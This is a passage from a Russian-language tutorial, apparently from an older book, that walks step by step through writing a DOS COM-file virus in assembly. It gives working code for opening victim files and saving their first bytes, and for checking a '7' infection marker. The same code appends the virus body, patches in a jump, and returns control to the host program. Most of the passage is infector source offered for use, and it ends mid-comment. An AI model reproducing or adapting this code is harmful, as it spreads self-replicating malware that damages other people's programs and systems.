мет вид : WINMAND.COM. Такого файла на диске, ско-
рее всего,нет;если же попробовать к нему обратить-
ся,это вызовет ошибку,и вирус закончит работу.Что-
бы этого не случалось, область " fn " после каждо-
го файла очищается. При ошибках в выполнении сис-
темных функций управление передается на метку
" restore_dta " . Затем вирус восстанавливает DTA
зараженной программы и осуществляет переход на ее
начало .
1.10 Читаем исходные три байта
Итак,вирус нашел COM - программу, которую теперь
следует заразить .Но сначала необходимо сохранить
первые три байта этой программы ( см. 1.3, п.4 ).
Для этого файл нужно сначала открыть, а затем счи-
тать его первые три байта, что и реализуют приве-
денные ниже программные строки . Напомним,что имя
файла хранится в строке " fn " .
open: mov ax,3d02h ;Открыть файл
;для чтения и
;записи ...
lea dx,fn ;Имя файла ...
int 21h ;
jnc save_bytes
jmp restore_dta ;Файл не откры-
;вается !
save_bytes: ;Считаем три
;байта :
mov bx,ax ;Сохраним дес-
;криптор в BX
mov ah,3fh ;Номер функции
mov cx,3 ;Сколько байт ?
lea dx,old_bytes ;Буфер для счи-
;тываемых данных
int 21h
jnc found_size
jmp close ;Ошибка !
Приведенный фрагмент помещает прочитанную инфор-
мацию в область " old_bytes " . Остальное ясно из
комментариев .
1.11 Выполняем необходимые расчеты
В этом пункте мы покажем, как вирус проводит рас-
чет корректирующего числа для регистра DS ( см .
1.4 ), а также смещения на свой код .Напомним,что
это смещение записывается в начало заражаемого
файла и зависит от его длины . Исходной величиной
для расчета служит длина заражаемого файла,которую
DOS вместе с именем найденного файла и рядом дру-
гих его характеристик помещает в DTA .Размер запи-
сывается в DTA по смещению 01Ah ( младшее слово )
1Ch ( старшее ) . Так как длина COM - файла не мо-
жет быть больше 65535 байт, она помещается в
младшее слово целиком.А слово по смещению 01Ch об-
нуляется !
Вышеуказанные расчеты можно произвести следующим
образом :
found_size:
mov ax,cs:[09ah] ;Найдем размер
;файла
count_size:mov si,ax
cmp ax,64000 ;Файл длиннее
;64000 байт ?
jna toto ;Нет ...
jmp find_next ;Да - тогда он
;нам не подходит
toto: test ax,000fh ;Округлим размер
jz krat_16 ;до целого числа
or ax,000fh ;параграфов в
inc ax ;большую сторону
krat_16: mov di,ax ;И запишем ок-
;ругленное зна-
;чение в DI ...
;Расчитаем сме-
;щение для пере-
;хода на код ви-
;руса ...
sub ax,3 ;Сама команда
;перехода зани-
;мает три байта!
mov byte ptr new_bytes[1],al
;Смещение найде-
mov byte ptr new_bytes[2],ah
;но !
mov ax,di ;Сколько пара-
mov cl,4 ;графов содержит
shr ax,cl ;заражаемая про-
;грамма ?
dec ax ;Учитываем дейс-
;твие директивы
;ORG 110h ...
mov byte ptr add_to_ds,al
;Корректирующее
mov byte ptr add_to_ds+1,ah
;число найдено !
Вы уже, конечно, поняли,что вирус будет округлять
размер заражаемой программы до целого числа параг-
рафов в большую сторону .Например,пусть файл имеет
длину 401 байт .Тогда вирус запишет в DI значение
416 ( 25 целых параграфов, и еще один байт даст
округленное значение 416 ).В " new_bytes " запише-
тся число : 416 - 3 = 413, а в " add_to_ds " будет
помещено значение : 26 - 1 = 25 .
Чтобы лучше понять работу фрагмента,рекомендую вам
посмотреть пункт 1.6 . И еще - подумайте, за-
чем нужна команда " dec ax " .Надеюсь,вы без труда
в этом разберетесь !
1.12 Проверяем файл на зараженность
Мы, кажется, слишком увлеклись работой и не заме-
тили одной очень важной детали.Ведь может случить-
ся, что найденный нами файл уже заражен предлагае-
мым вирусом, а мы об этом даже не догадываемся !
Поэтому наш вирус заразит эту программу еще раз .В
принципе,количество заражений ничем не ограничено.
Программа будет расти, пока не достигнет размера
более 65535 байт, а после этого перестанет рабо-
тать.Чтобы такого не произошло, введем проверку на
зараженность .Например, в конец каждого заражаемо-
го файла будем записывать цифру " 7 ", а при за-
ражении проверять ее наличие .
Итак :
mov ax,4200h ;Установим ука-
xor cx,cx ;затель на пос-
dec si ;ледний байт
mov dx,si ;файла ...
int 21h
jnc read_last
jmp close ;Ошибка !
read_last: ;И считаем этот
mov ah,3fh ;байт в ячейку
mov cx,1 ; " last " ...
lea dx,last
int 21h
jc close ;Ошибка !
cmp last,'7' ;" last " =" 7 "
jne write_vir ;Нет - дальше
jmp find_next ;Да- поищем дру-
;гой файл ...
Можно, конечно,провести более совершенную проверку
зараженности,нашей же целью было просто показать,
как защитить файлы от повторного заражения .Чита-
тель при желании сам легко внесет необходимые из-
менения в создаваемую программу .
1.13 Заражаем COM - программу
Наконец, подходящий для заражения COM - файл най-
ден . Он еще не заражен нашим вирусом и имеет при-
емлемый размер . Поэтому самое время заняться за-
ражением .Этот процесс описан в 1.3 ( см. п.3 и
п.4 ) .Здесь мы только его реализуем :
write_vir: mov ax,4200h ;Установим ука-
xor cx,cx ;затель на конец
mov dx,di ;файла ...
int 21h
jc close ;При ошибке -
;закроем файл
mov ah,40h ;Запишем в файл
mov cx,vir_len ;код вируса дли-
lea dx,vir ;ной vir_len
int 21h
jc close ;При ошибке -
;закроем файл
write_bytes:
mov ax,4200h ;Установим ука-
xor cx,cx ;затель на нача-
xor dx,dx ;ло файла
int 21h
jc close ;При ошибке -
;закроем файл
mov ah,40h ;Запишем в файл
mov cx,3 ;первые три бай-
lea dx,new_bytes ;та ( команду
int 21h ;перехода ) ...
close: mov ah,3eh ;Закроем зара-
int 21h ;женный файл ...
При записи первых трех байт в файл помещается ко-
манда перехода на код вируса. Все остальное можно
понять из приведенных комментариев .
1.14 Восстанавливаем DTA
Для корректной работы зараженной программы восста-
новим ее DTA .Напомним,что вирус " прячет " ее в
массиве " old_dta ".
Поэтому :
restore_dta:
mov cx,80h ;Размер DTA -
;128 байт ...
mov bx,80h ;Смещение к DTA
lea si,old_dta ;Адрес массива
dta_fresh:
mov al,ds:[si] ;Читаем из мас-
;сива "old_dta"
mov byte ptr cs:[bx],al;байт и перено-
;сим его в DTA
inc bx ;К новому байту
inc si ;
loop dta_fresh ;Цикл 128 раз
1.15 Передаем управление зараженной программе
Работа вируса окончена . Теперь он должен отдать
управление программе - носителю.Как мы выяснили,
для этой цели достаточно выполнить переход на ад-
рес CS : 100h . Поэтому занесем в стек содержимое
CS,и затем - число 100h.А после этого выполним ко-
манду RET FAR .Она снимет с вершины стека запи-
санные туда значения и передаст управление по оп-
ределяемому ими адресу :
pop ds ;Восстановим
;испорченный DS
push cs ;Занесем в стек
;регистр CS
db 0b8h ;Код команды
jump: dw 100h ;mov ax,100h
push ax ;Занесем в стек
;число 100h
retf ;Передача управ-
;ления на задан-
;ный адрес ...
1.16 Область данных вирусной программы
Настало время привести данные, которыми оперирует
наш вирус . Вот они :
old_bytes db 0e9h ;Исходные три
;байта заражен-
dw vir_len + 0dh ;ной программы
old_dta db 128 dup (0) ;Здесь вирус
;хранит исходную
;DTA программы
maska db '*.com',0 ;Маска для поис-
;ка файлов ...
fn db 12 dup (' '),0 ;Сюда помещается
;имя файла -жер-
;твы ...
new_bytes db 0e9h ;Первые три бай-
db 00h ;та вируса в
db 00h ;файле ...
last db 0 ;Ячейка для пос-
;леднего байта
db '7' ;Последний байт
;вируса в файле
Как видим, данных не так уж и много !
1.17 Завершаем запускающую программу
Для завершения запускающей вирус программы мы ис-
пользуем стандартную функцию DOS, а именно - 4Ch :
vir_len equ $-vir ;Длина вирусного
;кода ...
prg_end: mov ah,4ch ;Завершение за-
INT 21H ;пускающей прог-
;раммы ...
db '7' ;Без этого сим-
;вола вирус за-